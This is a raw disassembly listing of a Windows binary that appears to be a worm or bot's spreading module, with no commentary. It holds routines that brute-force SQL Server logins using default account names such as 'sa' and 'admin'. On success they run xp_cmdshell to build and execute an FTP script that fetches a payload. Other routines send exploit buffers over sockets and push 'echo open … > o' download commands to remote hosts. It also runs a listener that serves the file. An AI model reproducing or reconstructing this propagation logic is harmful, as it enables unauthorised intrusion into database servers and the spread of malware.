loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FE0A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFDC


loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]


loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258


loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258


loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258


loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155D0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FDB0


loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21


loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------


loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A


loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------


loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A


loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9


loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1


loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------


loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416477
		pop	ecx


loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: .nsp0:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFDC


loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax


loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416490
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42028C
		call	sub_416458
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]


loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax


loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E38:				; DATA XREF: .nsp0:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax


loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------


loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi


loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155D0
		add	esp, 0Ch


loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx


loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D


loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: .nsp0:00423008o
		test	byte_46977C, 1
		jnz	short loc_404EF6
		or	byte_46977C, 1


loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: .nsp0:00405188p

var_E3C		= byte ptr -0E3Ch
var_A3C		= byte ptr -0A3Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E3Ch
		mov	al, byte_438FBC
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], offset aRoot ; "root"
		mov	[ebp+var_34], offset aAdmin ; "admin"
		mov	[ebp+var_30], offset aAdministrator ; "administrator"
		mov	[ebp+var_2C], offset aAdministrador ; "administrador"
		mov	[ebp+var_28], offset aAdministrater ; "administrater"
		mov	[ebp+var_24], offset aAdmins ; "admins"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	dword_43A31C
		test	ax, ax
		jnz	short loc_404F84
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	dword_43A420
		test	ax, ax
		jz	short loc_404F8B


loc_404F84:				; CODE XREF: sub_404F08+63j
		xor	eax, eax
		jmp	loc_405164
; ---------------------------------------------------------------------------


loc_404F8B:				; CODE XREF: sub_404F08+7Aj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	dword_43A31C
		test	ax, ax
		jnz	loc_405157
		test	esi, esi
		push	ebx
		jz	loc_405148
		mov	edi, dword_421060
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_42C1FC


loc_404FBD:				; CODE XREF: sub_404F08+1EBj
		cmp	off_42C368, 0
		jz	loc_4050E7
		mov	eax, offset off_42C368
		mov	esi, eax


loc_404FD1:				; CODE XREF: sub_404F08+13Ej
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A3C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E3C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	dword_43A3D4
		test	ax, ax
		jz	short loc_40504D
		cmp	ax, 1
		jz	short loc_40504D
		push	1F4h
		call	edi	; Sleep
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FD1
		jmp	loc_4050E7
; ---------------------------------------------------------------------------


loc_40504D:				; CODE XREF: sub_404F08+127j
					; sub_404F08+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	dword_43A31C
		push	ebx
		push	ebx
		call	sub_415543
		push	eax
		call	sub_415543
		push	eax
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154E7
		add	esp, 20h
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A35C
		test	ax, ax
		jz	short loc_4050DC
		mov	esi, 1388h
		push	esi
		call	edi	; Sleep
		push	ebx
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A35C
		test	ax, ax
		jz	short loc_4050F8
		push	esi
		call	edi	; Sleep


loc_4050DC:				; CODE XREF: sub_404F08+19Bj
		push	[ebp+var_8]
		push	3
		call	dword_43A3B4


loc_4050E7:				; CODE XREF: sub_404F08+BCj
					; sub_404F08+140j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_405148
		jmp	loc_404FBD
; ---------------------------------------------------------------------------


loc_4050F8:				; CODE XREF: sub_404F08+1CFj
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_405126
		push	0
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_405126:				; CODE XREF: sub_404F08+1FEj
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]


loc_405148:				; CODE XREF: sub_404F08+9Ej
					; sub_404F08+1E9j
		push	[ebp+var_10]
		push	2
		call	dword_43A3B4
		mov	edi, [ebp+var_18]
		pop	ebx


loc_405157:				; CODE XREF: sub_404F08+95j
		push	[ebp+var_14]
		push	1
		call	dword_43A3B4
		mov	eax, edi


loc_405164:				; CODE XREF: sub_404F08+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051BC	proc near		; CODE XREF: .nsp0:004053BAp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_426710
		push	eax
		call	dword_43A398	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052D5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052D5
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052D5
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052D9


loc_4052D5:				; CODE XREF: sub_4051BC+51j
					; sub_4051BC+67j ...
		xor	al, al
		jmp	short loc_4052F7
; ---------------------------------------------------------------------------


loc_4052D9:				; CODE XREF: sub_4051BC+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	ebx
		call	dword_43A430	; closesocket
		mov	al, 1


loc_4052F7:				; CODE XREF: sub_4051BC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4211C8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405326
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4211D8	; inet_addr
		mov	ebx, eax
		jmp	short loc_40532C
; ---------------------------------------------------------------------------


loc_405326:				; CODE XREF: .nsp0:00405316j
		mov	ebx, [ebp+0C0h]


loc_40532C:				; CODE XREF: .nsp0:00405324j
		push	11h
		push	2
		push	2
		call	dword_4211E0	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_405356
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	short loc_405359
; ---------------------------------------------------------------------------


loc_405356:				; CODE XREF: .nsp0:0040533Cj
		mov	[ebp-0Ch], ebx


loc_405359:				; CODE XREF: .nsp0:00405354j
		test	esi, esi
		jz	short loc_405367
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40536D
; ---------------------------------------------------------------------------


loc_405367:				; CODE XREF: .nsp0:0040535Bj
		mov	word ptr [ebp-10h], 2


loc_40536D:				; CODE XREF: .nsp0:00405365j
		push	598h
		call	dword_4211DC	; ntohs
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4	; connect
		test	eax, eax
		jnz	short loc_4053F2
		push	eax
		push	152h
		push	offset dword_4265BC
		push	edi
		call	dword_4211EC	; send
		push	3E8h
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051BC
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053CE
		push	1
		pop	eax
		jmp	short loc_405404
; ---------------------------------------------------------------------------


loc_4053CE:				; CODE XREF: .nsp0:004053C7j
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]
		jmp	short loc_405402
; ---------------------------------------------------------------------------


loc_4053F2:				; CODE XREF: .nsp0:0040538Bj
		push	1
		push	edi
		call	dword_4211CC	; shutdown
		push	edi
		call	dword_4211F0	; closesocket


loc_405402:				; CODE XREF: .nsp0:004053F0j
		xor	eax, eax


loc_405404:				; CODE XREF: .nsp0:004053CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405409	proc near		; DATA XREF: sub_407276+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_4211B0	; WSAStartup
		push	edi
		call	sub_416AD4
		push	eax
		call	sub_415539
		push	0FA00h
		push	471h
		call	sub_414098
		add	esp, 10h
		mov	dword_438FDC, eax
		push	edi
		push	ebx
		push	2
		call	dword_4211E0	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4211B4	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4211B8	; ioctlsocket
		mov	ax, word ptr dword_438FDC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4211DC	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4211BC	; bind
		test	eax, eax
		jge	short loc_4054DE
		mov	eax, ebx
		jmp	loc_405A05
; ---------------------------------------------------------------------------


loc_4054DE:				; CODE XREF: sub_405409+CCj
		push	0Ah
		push	esi
		call	dword_4211C0	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054FC:				; CODE XREF: sub_405409+12Cj
					; sub_405409+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4211D0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405A02
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054FC


loc_405537:				; CODE XREF: sub_405409+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059F0
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055EE
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_4211C4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059F0
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_4055B8
		lea	edx, [ebp+var_224]


loc_4055A8:				; CODE XREF: sub_405409+1ADj
		cmp	[edx], eax
		jz	short loc_4055B8
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4055A8


loc_4055B8:				; CODE XREF: sub_405409+197j
					; sub_405409+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055D6
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055D6
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055D6:				; CODE XREF: sub_405409+1B5j
					; sub_405409+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055DE
		mov	[ebp+var_4], eax


loc_4055DE:				; CODE XREF: sub_405409+1D0j
		push	esi
		push	15h
